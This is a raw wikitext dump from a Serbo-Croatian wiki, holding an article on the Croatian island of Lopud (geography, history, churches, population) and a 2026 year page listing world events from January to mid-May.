[http://www.koncar-ugo.hr/ Končar - Ugostiteljska oprema d.o.o.] {{Končar}} [[Kategorija:Hrvatske kompanije]] [[Kategorija:Jugoslavenske kompanije]] ehukoigwmkme0z98ipjl1i3syc4m1pn 0 255231 42602687 42515404 2026-05-28T07:28:50Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602687 wikitext text/x-wiki [[Datoteka:Lopud and sunset.JPG|mini|lijevo|200px|Lopud u sumrak, slikan s Koločepa]] {{ otok | |Ime = Lopud |zemljovid = [[Datoteka:Croatia_-_Elafit_Islands_-_Lopud.PNG|250px|]] |smještaj = Jadransko more |otočje = [[Elafiti]] |koordinate = {{coord|42|41|26|N|17|56|38|E|display=title,inline}} |država = Hrvatska |gl.naselje = [[Lopud (Dubrovnik)|Lopud]] |površina = 4,38<ref name="Duplancic-Cala-Ujevic">[http://hrcak.srce.hr/file/14783/ Duplančić Leder, T.; Ujević, T.; Čala, M. (2004): ''Duljine obalne crte i površine otoka na hrvatskom dijelu Jadranskog mora određene s topografskih karata mjerila 1:25 000'', Geoadria, Vol. 9, No. 1, 5-32.]</ref> |obalna crta = 14,63<ref name="Duplancic-Cala-Ujevic"/> |stanovništvo = 269 |slika = [[Datoteka:LOPUD.JPG|250px|Pogled s utvrde Sutvrač na naseljeni dio otoka]] }} [[Datoteka:Harbour Lopud.JPG|thumb|mini|Lopudska luka]] [[Datoteka:Hotel Lafodia.JPG|thumb|mini|Hotel ''Lafodia'' izgrađen 1968. godine]] [[Datoteka:Plaža Šunj.JPG|thumb|mini|Plaža Šunj u prosincu]] '''Lopud''' je jedan od [[Elafiti|Elafitskih]] [[otok]]a u [[Jadransko more|Jadranskom moru]], na [[Hrvatska|hrvatskom]] dijelu Jadrana. == Zemljopisni podaci == Otok Lopud spada u južnodalmatinsku skupinu otoka a nalazi se oko 5 [[Nautička milja|Nm]] sjeverozapadno od [[Dubrovnik|dubrovačke]] [[luka Gruž|luke Gruž]]. Istočno od Lopuda je smješten otok [[Koločep]], a zapadno otok [[Šipan]]. Na zapadnoj strani otoka Lopud nalazi se istoimeno naseljeno mjesto. Površina otoka iznosi je 4,63&nbsp;km četvorna. Najviša otočna kota je vrh Polačica na 216 m nadmorske visine. Duljina otoka je 4,6&nbsp;km a ukupna dužina [[obala|obale]] iznosi 13,2&nbsp;km. == Historija == Otok Lopud je prema nekim [[arheologija|arheološkim]] nalazima naseljen vec tisućama godina. Na otoku su pronađeni mnogi ostaci [[Grčka|starogrčkih]], [[Rimljani|rimskih]] i [[Slaveni|slavenskih]] građevina i ruševina. Na mjestu današnje kule Španjola nađeni su ulomci keramike ilirskih građana. Do danas su sačuvani toponimi grčkog podrijetla, Veliki i Mali Skupio – skopelos, otok; Igo, Igalo – aigialos, obala, plaža. Naziv imena susreće se u raznim oblicima [[Grčka|grčkog]] podrijetla: Dalafota, Dalafodum. Od romaniziranog naziva Lafodia u uporabi je danas hrvatski Lopud. Iz [[Rimljani|rimskog]] vremena ostali su nam ulomci reljefno obrađenog kamena na predromaničkim crkvama. Ostaci starohrvatske kulture IX. I X. stoljeća su predromaničke kapelice: sv. Marija, sv. Ilija, sv. Ivan Krstitelj, sv. Petar, sv. Nikola. Kako nas mnogi spomenici i dubrovački povjesničari uvjeravaju, bilo je na otoku Lopudu jedno hrvatsko naselje već u IX. stoljeću. [[Datoteka:Franciscan monastery Lopud.JPG|mini|lijevo|200px|Franjevački samostan na Lopudu]] Od [[1457.]] godine Lopud postaje jedno od regionalnih središta [[Dubrovačka Republika|Dubrovačke Republike]]. U to vrijeme na otoku je živjelo preko 1000 stanovnika, a ekonomski uspon Republike odražavao se i na otok. Brodovlasnici s Lopuda imali su vlastitu flotu od oko 80 [[brod]]ova kao i [[brodogradilište]]. U doba Dubrovačke Republike na otoku je postojalo 19 mlinica, a bilo je nastanjeno 700 ovaca. Većina danas zaraslog zemljišta bila je obrađena. Mjesni perivoj je poznat kao bivši vrt vile iz [[19. stoljeće|19.]] stoljeća. U vrtu raste nekoliko vrsta bilja, a predvladavaju [[eukaliptus]]i, [[bambus]]i i različite vrste [[kaktus]]a, sakupljane po cijelom svijetu. Na Lopudu postoje 24 [[crkva|crkve]], a [[Franjevci]] i [[Dominikanci]] sagradili su ovdje svoje [[samostan]]e. Na vidikovcu Belvedere nalazi se Crkva sv. Ivana koja je podignuta najvjerojatnije u 9. ili 10. stoljeću u stilu tipične starohrvatske arhitekture. To je jednobrodna kapelica bačvastog svoda s kupolicom koja se izdiže nad sredinom krova. U zidovima s unutarnje strane uzidano je 19 glatkih zemljanih posuda, što je vjerojatno imalo za cilj poboljšanje akustike. Po svemu sudeći u 14. stoljeću kapelica je proširena u crkvu s gotičkim i renesansnim motivima, kao što su roze na pročelju i kapiteli na portalu. Uz crkvu je [[1697.]] nadograđen samostan časnih sestara, a [[1811.]] groblje. Sve do 15. stoljeća ovo je bila matična crkva Lopuda, a danas se bogoslužje u njoj održava samo prigodno na blagdan sv. Ivana [[24. lipnja]]. Na najvišoj uzvisini otoka nalazi se španjolska utvrda Sutvrač iz [[1563.]] koju kani obnoviti Društvo prijatelja dubrovačke starine.<ref>[http://proleksis.lzmk.hr/35055/ proleksis.lzmk.hr], "LOPUD"</ref><ref>[http://citywallsdubrovnik.hr/izrada-projekta-tvrdave-sutvrac-na-lopudu/ citywallsdubrovnik.hr] {{Webarchive|url=https://web.archive.org/web/20131221221806/http://citywallsdubrovnik.hr/izrada-projekta-tvrdave-sutvrac-na-lopudu/ |date=2013-12-21 }}, "Izrada projekta Tvrđave Sutvrač na Lopudu", objavljeno 20. srpnja 2012., pristupljeno 19. prosinca 2013.</ref> S nje se pruža odličan pogled na naseljeni i nenaseljeni dio otoka, a vide se i ostali Elafitski otoci, kopneni dio Dubrovačkog primorja, pa i brda Rijeke dubrovačke i Srđ. Na otoku postoji i 1.6&nbsp;km duga pješačka staza kojom šećući može se vidjeti druga obala koja je strma, zarasla i nepristupačna. == Vegetacija == Otok, kao i ostatak [[Elafiti|Elafita]], prekriva bujna šuma u kojoj prevladava [[alepski bor]], primorski i [[pinija]]<ref name="www.hr">{{Cite web |url=http://www.hr/hrvatska/geografija/jadran/obala-i-otoci |title=www.hr: Obala i otoci |access-date=2013-12-19 |archive-date=2012-06-25 |archive-url=https://web.archive.org/web/20120625101427/http://www.hr/hrvatska/geografija/jadran/obala-i-otoci |url-status=dead }}</ref> te sredozemna [[makija]]. Na otoku također rastu brojne [[palma|palme]], [[maslina|masline]] i stabla [[lovor]]a. == Gospodarstvo == Gospodarstvo otoka se zasniva na [[turizam|turizmu]], [[ugostiteljstvo|ugostiteljstvu]], [[ribarstvo|ribarstvu]], [[poljodjelstvo|poljodjelstvu]] i [[vinogradarstvo|vinogradarstvu]]. Lopud je najrazvijeniji otok u skupini [[Elafiti|Elafita]], na njemu najviše cvjeta turizam. U mjestu Lopud postoji se može naći i nekoliko hotela: najpoznatiji je luksuzni [[hotel]] Lafodia. Tu su još brojni [[restoran]]i i [[kafić]]i. Na jugoistočnoj strani otoka nalazi se prelijepa uvala [[Šunj]] sa pješčanom [[plaža|plažom]], jednom od najljepših na Jadranu. U mjestu djeluje i Osnovna škola Iva Kuljevana koju je dao izgraditi upravo on. == Stanovništvo == Prema popisu stanovnika iz [[2001.]] godine na otoku živi 270 stanovnika, uglavnom starijih osoba, [[Hrvat]]a [[katolik|katoličke]] vjeroispovjesti. == Značajne osobe == *[[Trajan Lalić]], dobročinitelj u službi interesa Dubrovačke Republike *[[Miho Pracat]], dubrovački pomorac, bankar i dobrotvor. *[[Frano Ućelini Tice]], kotorski biskup je rođen na Lopudu. {{Kretanje broja stanovnika |naslov = '''Kretanje broja stanovnika 1857.-2011.'''<ref>[http://www.dzs.hr/Hrv/pxweb2003/Dialog/varval.asp?ma=Tabela4_19&ti=Dubrova%E8ko%2Dneretvanska+%9Eupanija+%2D+broj+stanovnika+po+naseljima+&path=../Database/Naselja%20i%20stanovnistvo%20Republike%20Hrvatske/4%20Stanovnistvo%20naselja/&lang=10 Naselja i stanovništvo Republike Hrvatske 1857.-2001., www.dzs.hr]</ref> |dimx = |dimy = |stanmax = 500 |crta1 = 100 |crta2 = 50 |a1 = 1857 |a2 = 1869 |a3 = 1880 |a4 = 1890 |a5 = 1900 |a6 = 1910 |a7 = 1921 |a8 = 1931 |a9 = 1948 |a10 = 1953 |a11 = 1961 |a12 = 1971 |a13 = 1981 |a14 = 1991 |a15 = 2001 |a16 = 2011 |p1 = 494 |p2 = 444 |p3 = 464 |p4 = 358 |p5 = 358 |p6 = 342 |p7 = 341 |p8 = 410 |p9 = 387 |p10 = 422 |p11 = 416 |p12 = 399 |p13 = 377 |p14 = 348 |p15 = 270 |p16 = 249 |izvor = Državni zavod za statistiku }} == Galerija == <gallery> Datoteka:Crkva sv. Ivana.JPG|Crkva sv. Ivana na vidikovcu Belvedere Datoteka:Na Lopudu građevina.JPG|Zapuštena građevina Datoteka:Crkvica na Lopudu.JPG|Crkvica Datoteka:Sutvrač.JPG|Španjolska utvrda Sutvrač Datoteka:Šume Lopuda.JPG|Šume Lopuda gledane sa Sutvrača Datoteka:Unutrašnjost Sutvrača.JPG|Unutrašnjost utvrde Sutvrač Datoteka:Crkva Gospe od Šunja.JPG|Crkva Gospe od Šunja Datoteka:Na lopudskom grobu.JPG|Prizor s groba u crkvici pokraj Crkve Gospe od Šunja Datoteka:Lopud otok.JPG|Krajobraz Lopuda Datoteka:On Lopud Island.JPG|Poviše plaže Šunj Datoteka:Krajobraz Jelenskog otoka Lopuda.JPG|Prizor uz pješačku stazu Datoteka:Lopud Island other side.JPG|Druga strana otoka Datoteka:Lopudski vidikovac.JPG|Vidikovac na početku 1.6&nbsp;km duge pješačke staze Datoteka:Na Lopudu kuća.JPG|Jedna od kuća u naselju Datoteka:Church on Lopud Island.JPG|Crkva u naselju Datoteka:Church on Lopud.JPG|Vrata crkve u naselju Datoteka:Lopudski hotel Grand.JPG|Bivši hotel Grand Datoteka:Lopudski park.JPG|Lopudski park Datoteka:Prizor iz parka.JPG|Prizor iz parka Datoteka:Lopud Island coast.JPG|Obala naselja </gallery> == Reference == {{izvori}} == Vanjske veze == {{WProjekti |commons= |commonssh= |commonscat= Lopud |commonscatsh=Lopud }} * [http://www.lopud.nl/lopud/basis-cr.htm Otok Lopud] {{Webarchive|url=https://web.archive.org/web/20120205182223/http://www.lopud.nl/lopud/basis-cr.htm |date=2012-02-05 }} * [http://peljar.cvs.hr/show_place_info.php?id=226&type= Otok Lopud - Peljar] * [http://www.otoklopud.blogspot.com Otok Lopud - Povijest] [[Kategorija:Elafitski otoci]] [[Kategorija:Otoci u Hrvatskoj]] 1bz62pa58y4y3fuihza75yy6zir7mce 0 257502 42602586 42602193 2026-05-27T17:55:20Z Alekol 2231 /* Predviđeni događaji */ 42602586 wikitext text/x-wiki {{Godina nav|2026}} {{otheruses}} {{Godina u drugim kalendarima|2026}} Godina '''2026''' (MMXXVI) je [[redovna godina koja počinje u četvrtak]]. * UN-ova Međunarodna godina: pašnjaka i stočara; volontera za održivi razvoj; zemljoradnica. * Nove godine: ♞ [[Kineska nova godina|kineska]] 17. 2.; ☪ islamska 16. 6.; ✡ [[Roš Hašana]] 11/12. 9. * Uskrs: ✝ zapadni 5. 4.; 🞣 istočni 12. 4. * Bajram: Ramazanski 20. 3.; Kurban 27. 5. == Događaji == === Januar/Siječanj === * [[1. 1.]] - Bugarska je 21. članica [[eurozona|eurozone]], 1,95583 [[bugarski lev|leva]] za euro. * 1. 1. - Požar u baru u [[Crans-Montana|Crans-Montani]], stradalo je 40 ljudi. * 1. 1. - Demokratski socijalista [[Zohran Mamdani]] je gradonačelnik [[New York]]a. * [[2. 1.]] - Šesti dan protesta u Iranu, iniciranih ekonomskom krizom. [[Donald Trump|Trump]] izjavljuje da će intervenisati ako demonstranti budu ubijani. * 2. 1. - [[Ciudad de la Paz (Ekvatorska Gvineja)|Ciudad de la Paz]] je novi glavni grad [[Ekvatorska Gvineja|Ekvatorske Gvineje]], u kontinentalnom delu zemlje, umesto [[Malabo]]a na ostrvu [[Bioko]]. * 2 - 4. 1. - Jemenski građanski rat: jemenska vlada je uz saudijsku pomoć povratila teritorije izgubljene u ofanzivi Južnog prijelaznog vijeća prošlog mjeseca (muhafaze [[Hadramaut (muhafaza)|Hadramaut]] i [[Al-Mahra (muhafaza)|Al-Mahra]]). Na otoku [[Sokotra]] su blokirani turisti. [[Datoteka:Nicolas Maduro on board the USS Iwo Jima (cropped).jpg|120px|mini|lijevo|[[Nicolás Maduro|Maduro]]]] * [[3. 1.]] - Operacija ''Absolute Resolve'': američki udari u [[Venecuela|Venecueli]] i hvatanje predsednika [[Nicolás Maduro|Nicolása Madura]] i njegove supruge po optužbi za trgovinu narkoticima. Trump izjavljuje da će SAD upravljati zemljom do tranzicije, najavljuje dolazak američkih naftnih kompanija. V.d. predsednika je [[Delcy Rodríguez]]. * [[6. 1.]] - Grenlandska kriza: lideri nekoliko evropskih zemalja reafirmiraju podršku Danskoj i [[Grenland]]u povodom novih američkih potraživanja. * 6. 1. - Kontroverza oko chatbota [[Grok]] koji generira seksualizirane slike žena i djevojčica. * 6 - 10. 1. - Sukob između sirijske prelazne vlade i kurdskih Sirijskih demokratskih snaga u [[Alep]]u - po sporazumu o primirju, SDF napušta grad. Vlada zatim preduzima ofanzivu 13-tog. * [[7. 1.]] - Snage međunarodno priznate jemenske vlade ulaze u [[Aden]]. * [[8. 1.]] - Pojačanje protesta u Iranu, praćeno gašenjem interneta i oružanim suzbijanjem - stradale su hiljade demonstranata. * 8. 1. - Rat u Ukrajini: hipersonična balistička raketa [[Orešnik]] je uveče upotrebljena protiv [[Lavov]]a. * [[14. 1.]] - Zlato je ove sedmice prelazilo 4.600 dolara za uncu, vrhunac 4.638. * [[17. 1.]] - Trump objavljuje da uvodi dodatne carine za osam evropskih zemalja koje učestvuju u vojnoj vežbi ''Arctic Endurance'' i protive se američkom zauzeću Grenlanda (u Davosu 21-og ih otkazuje, kaže da neće primenjivati silu i da je postigao okvirni sporazum sa gen. sek. NATO-a). * 17. 1. - U Paragvaju je potpisan sporazum o slobodnoj trgovini između [[EU]] i [[Mercosur]] (potrebna je ratifikacija). * 17. 1. - Na snazi je sporazum UN o zaštiti oceana (kolokvijalno ''High Seas Treaty''), za očuvanje i održivo korištenje morske bioraznolikosti izvan nacionalne jurisdikcije. * [[20. 1.]] - U Zagrebu prikazan film "[[Svadba (2026.)|Svadba]]" - najgledaniji hrvatski film. * 20. 1. - Politička kriza u Bugarskoj (traje od 2021): predsednik [[Rumen Radev]] je podneo ostavku; potpredsednica [[Ilijana Jotova]] postaje prva žena predsednik 23-ćeg. * [[21. 1.]] - Blokada Filozofskog fakulteta u Novom Sadu zbog otkaza prof. Jeleni Kleut - policija je izbacila iz zgrade studente, profesore i građane. * [[22. 1.]] - Trump i predstavnici nekoliko zemalja su u Davosu potpisali povelju [[Odbor mira|Odbora mira]] (''Board of Peace''), koji je u novembru pomenut u rezoluciji SB UN 2803 kao prelazno upravno i nadzorno telo za Gazu. * 22. 1. - SAD su napustile [[Svjetska zdravstvena organizacija|Svjetsku zdravstvenu organizaciju]]. * [[23. 1.]] - Američki organ je produžio licencu Naftnoj industriji Srbije do 20. februara (mađarski MOL je objavio 19-tog da će preuzeti NIS od Gaspromnjefta). * [[24. 1.]] - Kriza u [[Minneapolis, Minnesota|Minneapolisu]]: nakon Renée Good 7-og, agenti ICE (Sprovođenje imigracije i carina) ubili su i Alexa Prettija. * 10 - [[25. 1.]] - Evropsko prvenstvo u vaterpolu, Beograd: Srbija 1, Hrvatska 6, Crna Gora 7. U all-star timu su [[Milan Glušac]], [[Dušan Mandić]] i [[Strahinja Rašović]]. * [[26. 1.]] - Talačka kriza u Gazi: Izraelci su našli telo poslednjeg taoca. * [[27. 1.]] - Samit EU-Indija u New Delhiju: postignut je sporazum o slobodnoj trgovini (potrebna ratifikacija). * 27. 1. - [[Južni Sudan]]: vladine snage, preds. [[Salva Kiir Mayardit|Salve Kiira]], pokrenule ofanzivu u državi Jonglei kako bi povratile pozicije koje su prošlog meseca zauzele opozicione snage zatvorenog bivšeg potpredsednika [[Riek Machar|Rieka Machara]]. * [[28. 1.]] - Urušavanje rudnika [[koltan]]a Rubaya na istoku DR Kongo: stradalo je preko 400 ljudi. * 28. 1.]] - [[Sarah Mullally]] je prva žena [[nadbiskup Canterburyja]]. * [[29. 1.]] - U [[Konjuh (Kruševac)|Konjuhu]] kod Kruševca zaplenjeno pet tona marihuane. * 29. 1. - Trump je potpisao izvršno naređenje o carini za zemlje koje snabdevaju [[Kuba|Kubu]] naftom; Meksiko je još pre dva dana otkazao isporuku - na Kubi se zaoštrava energetska kriza. * [[30. 1.]] - Predsednik Vučić je potpisao paket od pet izmena i dopuna pravosudnih zakona, tzv. Mrdićeve zakone. [[Datoteka:EFTA00001815 - Stone-walled driveway leads to a luxurious villa with palm trees and a coastal view featuring a black utility vehicle parked on the concrete pad.jpg|mini|Na "Epsteinovom otoku" 2019. ([[Little Saint James]], [[Američki Djevičanski Otoci]])]] * 30. 1. - Ministarstvo pravde SAD je objavilo 3,5 miliona dokumenata u vezi [[Jeffrey Epstein|Jeffreya Epsteina]]; novi fokus na bivšeg princa Andrewa i britanskog političara Petera Mandelsona. * 30. 1. - Nakon što je dostigla 5.500 dolara za uncu, cena zlata pada 9%, najviše od 1983. === Februar/Veljača === * 15. 1. - [[1. 2.]] - [[EHF Euro 2026.]] (Danska, Švedska Norveška): Danska 1, Hrvatska 3, Srbija 19, Crna Gora 23. U all-star timu je [[Mario Šoštarić]]. Doček rukometaša u Zagrebu 2-og je organizirala Vlada RH. * [[3. 2.]] - Islamisti ubili 160-200 ljudi u dva sela u zapadnoj nigerijskoj državi Kwara. * [[5. 2.]] - Istekao ugovor [[Novi START]] o redukciji nuklearnog naoružanja iz 2010. (Rusija je suspendovala učešće 2023). * 5. 2. - U Makedoniji je počela akcija u kojoj je zaplenjeno 40 tona marihuane. * [[6. 2.]] - [[Dow Jones Industrial Average|Dow Jones IA]] je prvi put prešao 50.000. * 6 - 22. 2. - Zimske olimpijske igre u [[Milano|Milanu]] i [[Cortina d'Ampezzo|Cortini d'Ampezzo]]. * [[8. 2.]] - Izbori za predsjednika Republike Srpske (od novembra): nakon ponavljanja glasanja na 136 biračkih mjesta, potvrđena je pobjeda [[Siniša Karan|Siniše Karana]] iz SNSD (inauguracija 17-og). * 8. 2. - Vanredni izbori u [[Japan]]u: [[Liberalna demokratska partija (Japan)|LDP]] premijerke [[Sanae Takaichi]] dobija dvotrećinsku većinu. * 8. 2. - [[Super Bowl]] LX u [[Santa Clara, California|Santa Clari]]: [[Seattle Seahawks]] - [[New England Patriots]] 29:13; u poluvremenu je nastupio portorikanski reper [[Bad Bunny]]. * [[12. 2.]] - Trump opozvao klasifikaciju gasova staklene bašte kao pretnje javnom zdravlju iz 2009, kao i standarde za emisije iz vozila. * 12. 2. - [[Vještačka inteligencija]]: kineska kompanija [[ByteDance]] objavila aplikaciju ''Seedance 2.0'' za generiranje videa - hollywoodski studiji prete tužbom za povredu intelektualnih prava. * [[19. 2.]] - Bivši princ Andrew je bio pritvoren zbog prestupa na javnoj funkciji. * 19. 2. - Bivši južnokorejski predsednik Yoon Suk Yeol osuđen na doživotnu kaznu za pobunu kada je proglasio ratno stanje u decembru 2024. * [[20. 2.]] - Vrhovni sud SAD presudio da predsednik nema pravo da uvodi carine prema zakonu iz 1977 (carine od 2. 4. 2025). Trump sutradan objavljuje globalne carine od 10% po zakonu iz 1962, što ubrzo povećava na 15%. * [[22. 2.]] - Fatalno ranjen ''El Mencho'', lider meksičkog narko-kartela Jalisco Nova Generacija - njegovi ljudi izvode više paljevinskih napada, blokada puteva i sukoba sa vlastima. * [[26. 2.]] - Eskalacija u Konfliktu Pakistana i Afganistana: afganski Talibani napadaju pakistanske položaje (nakon pakistanskih udara od 21-og), Pakistan kaže da je u punom ratu sa Afganistanom. * [[27. 2.]] - MUP objavio da je Hrvatska očišćena od mina. * [[28. 2.]] - Počinje Operacija Lav koji riče/Epska furija, izraelsko-američki udari na Iran sa željom promene režima. ** Ubijen je Vrhovni lider [[Ali Hamenei]] sa još nekoliko vojnih čelnika. Pogođena je škola za devojčice u Minabu na jugu zemlje, iranski mediji izveštavaju o 165 mrtvih. ** Iran uzvraća na Izrael i ciljeve u Persijskom zalivu. === Mart/Ožujak === [[Datoteka:Op epic fury timeline 100hrs - pentagon - mar4 - straight.jpg|mini|Prvih 100 sati rata u Zalivu]] * [[1. 3.]] - Dron pogodio britansku bazu Akrotiri na Kipru. * 1. 3. - Masakru u Abiemnomu na severu [[Južni Sudan|Južnog Sudana]]: omladinci, moguće [[Nuer]]i, napali su [[Dinka (narod)|Dinke]], ubijeno je najmanje 169 ljudi. * [[2. 3.]] - Obnovljen sukob između [[Hezbolah]]a i Izraela. Evakuacije sa juga Libana, gađanje meta na jugu Bejruta. * [[3. 3.]] - Još jedan odron u rudnicima [[koltan]]a Rubaya u prov. [[Nord-Kivu|Severni Kivu]], [[DR Kongo]], sa preko 200 mrtvih (u januaru je stradalo preko 400 ljudi). * [[4. 3.]] - Iranska fregata IRIS Dena je torpedovana blizu Šri Lanke. * [[5. 3.]] - Izbori u [[Nepal]]u, prvi od protesta Gen Z prošlog septembra: skoro dvotrećinska većina za Nacionalnu nezavisnu partiju, repera i gradonačelnika Katmandua [[Balen Shah]]a. * [[6. 3.]] - Kosovska predsednica [[Vjosa Osmani]] raspustila skupštinu dan nakon neuspelog biranja novog predsednika; "[[Samoopredeljenje (politička stranka)|Samoopredeljenje]]" se obraća Ustavnom sudu. * 7/[[8. 3.]] - Pogođeni rezervoari nafte kod Teherana, grad je obavijen dimom, pada crna kiša. Za novog Vrhovnog lidera Irana je izabran sin prethodnog, [[Mojtaba Khamenei]]. * [[9. 3.]] - Cena nafte prelazi 100 dolara po barelu, prvi put od 2022. Promet [[Hormuški tjesnac|Hormuškim tjesnacom]] je znatno otežan. * [[13. 3.]] - Gađane su vojne mete na iranskom ostrvu i naftnom terminalu [[Hark]]. * [[15. 3.]] - [[98. dodjela Oscara]]: najbolji film je ''[[One Battle After Another]]'', ukupno šest nagrada od 13 nominacija, uključujući novu kategoriju za [[kasting]]; ''[[Sinners (film iz 2025.)|Sinners]]'', četiri od rekordnih 16; ''[[Frankenstein (film iz 2025.)|Frankenstein]]'' tri od devet; ''[[KPop Demon Hunters]]'' dve od dve; ''[[Sentimental Value]]'' jedna, međunarodna, od devet; ''[[Hamnet (film)|Hamnet]]'' jedna od osam; ''[[Marty Supreme]]'' ništa od devet. * [[16. 3.]] - U pakistanskom udaru je pogođena bolnica, centar za rehabilitaciju narkomana, u Kabulu - lokalni izvori tvrde da ima na stotine mrtvih. * 16. 3. - Započete su izraelske kopnene operacije na jugu Libana - narednih dana se ruše mostovi na reci [[Litani]]. * 16. 3. - Nestanak struje na celoj Kubi (i opet 21-og). * [[17. 3.]] - U izraelskim napadima u Teheranu, ubijeni su tajnik Vrhovnog vijeća nacionalne sigurnosti [[Ali Laridžani]] i komandant Basidža, paravojne dragovoljačke milicije u okviru Revolucionarne garde, Golamreza Solejmani (sljedeće noći i ministar obavještajnih dijela Esmail Hatib). * [[18. 3.]] - Prvi, izraelski, napad na iransku hidrokarbonsku proizvodnju: najveće gasno polje, Južni Pars, koje deli sa [[Katar]]om. Iran odgovara udarom i velikom štetom na katarskom kompleks Ras Laffan za likvefakciju gasa. Ovo povlači obustavu rada kompanije QAFCO, koja proizvodi 14% svetske [[Urea|uree]].<ref>[https://www.theguardian.com/world/2026/apr/03/visual-guide-gulf-fertiliser-blockade ‘Food security timebomb’: a visual guide to the Gulf fertiliser blockade]. theguardian.com 3 Apr 2026</ref> * [[20. 3.]] - Iranci su ispalili dve rakete prema bazi Diego Garcia u sredini Indijskog okeana - jedna se raspala, druga presretnuta. * 20 - 22. 3. - Svetsko prvenstvo u dvoranskoj atletici, [[Toruń]]: srebro za [[Angelina Topić|Angelinu Topić]] u skoku u vis. * [[21. 3.]] - Nakon što je u Iranu gađano nuklearno postrojenje Natanz, iranske rakete pogađaju izraelska mesta Arad i [[Dimona]], nedaleko od nuklearnog centra. * [[22. 3.]] - Parlamentarni izbori u Sloveniji: vladajuće [[Gibanje Svoboda]] je opalo, ali je jedan mandat ispred Janšine [[Slovenska demokratska stranka|SDS]]. * 22. 3. - Lokalni izbori u Francuskoj, drugi krug. Socijalisti zadržali Pariz. * [[24. 3.]] - Potpisan ugovor o slobodnoj trgovini između EU i Australije. * 25 - 26. 3. - Sud u Novom Meksiku odredio 375 milona dolara globe Meti (Facebook i Instagram) jer je omogućila seksualnu eksploataciju dece; sutradan u Los Angelesu sud nalazi da su Meta i YouTube stvorili adiktivne proizvode koji štete mladim korisnicima. * [[26. 3.]] - Nevrijeme u Hrvatskoj. * 26. 3. - Uveče, studentkinja pala sa petog sprata Filozofskog fakulteta u Beogradu. * [[28. 3.]] - Jemenski Husi su ispalili prvu raketu prema Izraelu tokom Iranskog rata. * [[29. 3.]] - Lokalni izbori u 10 opština Srbije (Aranđelovac, Bajina Bašta, Bor, Kladovo, Knjaževac, Kula, Lučani, Majdanpek, Sevojno, Smederevska Palanka). Bilo je nasilja, [[Srpska napredna stranka|naprednjaci]] uglavnom pobeđuju, sa smanjenom podrškom. * [[31. 3.]] - BiH pobijedila Italiju na penale i plasirala se na Svjetsko prvenstvo; Italija nije uspjela treći put zaredom. === April/Travanj === [[Datoteka:Orion POV- Destination and Home (art002e009567).jpg|mini|[[Artemis II]]: brod Orion, Mĕsec i Zemlja]] * [[1. 4.]] - [[10. 4.]] - NASA-ina misija [[Artemis II]], sa posadom oko Meseca, prva iznad niske orbite od 1972; 6/7. 4. su obišli oko Meseca, na rekordnoj udaljenosti od 406.771 km od Zemlje. * [[3. 4.]] - U Iranu je oboren američki [[McDonnell Douglas F-15E Strike Eagle|F-15E]]: pilot je ubrzo spasen a oficir za oružne sisteme 5-tog (prilikom spašavanja Amerikanci uništili dva svoja aviona [[Lockheed C-130 Hercules|C-130]] i dva mala helikoptera [[MD Helicopters MH-6 Little Bird|MH-6]]). Oboren i [[Fairchild Republic A-10 Thunderbolt II|A-10]] kod Hormuškog tjesnaca. * [[5. 4.]] - Objavljeno da je blizu [[Kanjiža|Kanjiže]] pronađen eksploziv kod gasovoda koji vodi prema Mađarskoj. * [[7. 4.]] - Trump: "jedna civilizacija će umreti večeras" ako Iran ne prihvati sporazum. Sledeće noći je dogovoreno primirje na dva tjedna i otvaranje Tjesnaca. * [[8. 4.]] - Izrael smatra da Liban nije obuhvaćen primirjem, u jakim udarcima na Bejrut je stradalo preko 200 ljudi. Iran zatvara Tjesnac i gađa zaljevske zemlje. * [[12. 4.]] - Bez rezultata u pregovorima SAD-Iran u Islamabadu; Trump objavljuje blokadu Hormuškog tjesnaca. [[Datoteka:Bastion of Hungarian Freedom 2026 (44).jpg|mini|Budimpešta 2026.]] * 12. 4. - Parlamentarni izbori u Mađarskoj: partija ''Tisza'' [[Péter Magyar|Pétera Magyara]] pobjeđuje sa dvotrećinskom većinom zastupnika; [[Viktor Orbán|Orbán]] i [[Fidesz]] su proveli četiri mandata i 16 godina na vlasti. * [[13. 4.]] - SAD uvele pomorsku blokadu Irana. * [[17. 4.]] - Iran otvara Tjesnac tijekom lebanonskog primirja, ali ga zatvara već sutradan zbog nastavljene američke blokade. * [[19. 4.]] - Izbori u Bugarskoj, osmi za pet godina: Progresivna Bugarska bivšeg predsednika [[Rumen Radev|Radeva]] dobija apsolutnu većinu mandata. * [[23. 4.]] - Deblokirana pomoć EU od 90 milijardi eura za Ukrajinu. * [[25. 4.]] - [[Rat u Maliju]] i [[Rat u Sahelu]]: koordinirani napadi džihadista iz JNIM i [[Azavad|tuareških pobunjenika]] u više gradova [[Mali]]ja. * 25. 4. - Čovek je pucao blizu Večere dopisnika iz Bele kuće, kojoj su prisustvovali i čelnici SAD. * [[26. 4.]] - [[Sabastian Sawe]] je istrčao Londonski maraton za manje od dva sata. * [[28. 4.]] - RH i BiH potpisali u Dubrovniku sporazum o gradnji plinovoda [[Južna interkonekcija]]. * 28. 4. - Kosovski parlament ne uspeva izabrati novog predsednika - raspušten je, izbori će biti u junu. === Maj/Svibanj === * [[1. 5.]] - [[Ujedinjeni Arapski Emirati]] su napustili [[OPEC]]. * [[2. 5.]] - Ministarstvo obrane SAD objavilo da će povući 5.000 vojnika iz Njemačke (od ca. 36.000). * 2. 5. - Na holandskom kruzeru ''MV Hondius'' na Atlantiku je umrla druga osoba od [[hantavirus]]a, treća ukupno (brod stiže na Tenerife 10-tog, odakle ide evakuacija). * [[4. 5.]] - Američka operacija ''Project Freedom'': pratnja brodova u [[Hormuški tjesnac|Hormuškom tjesnacu]] (sutradan pauzirana). Iranci su gađali naftnu luku u Al Fudžajri. * [[7. 5.]] - Lokalni izbori u UK: uspeh za [[Reform UK]] i Zelene. Nacionalistički [[Plaid Cymru]] ima najviše mandata u Velškoj skupštini (laburisti su bili dominantni od 1922). U Škotskoj je pobedila [[Škotska nacionalna stranka]]. Veliki gubici za vladajuće laburiste na lokalu u Engleskoj. * [[11. 6.]] - [[Christian Schmidt]] potvrđuje da odlazi s pozicije [[Ured visokog predstavnika za Bosnu i Hercegovinu|OHR]]. * 13 - 15. 5. - Trumpova državna poseta Kini. * [[14. 5.]] - Kriza na Kubi: ministar energije izjavljuje da nema više nafte i dizela. * 14. 5. - Potvrđena epidemija Bundibugyo, /bundibudžo/, [[ebola|ebole]] u provinciji [[Ituri]] DR Kongo (moguće da je počela još pre dva meseca). * 12 - [[16. 5.]] - Pesma Evrovizije u Beču. 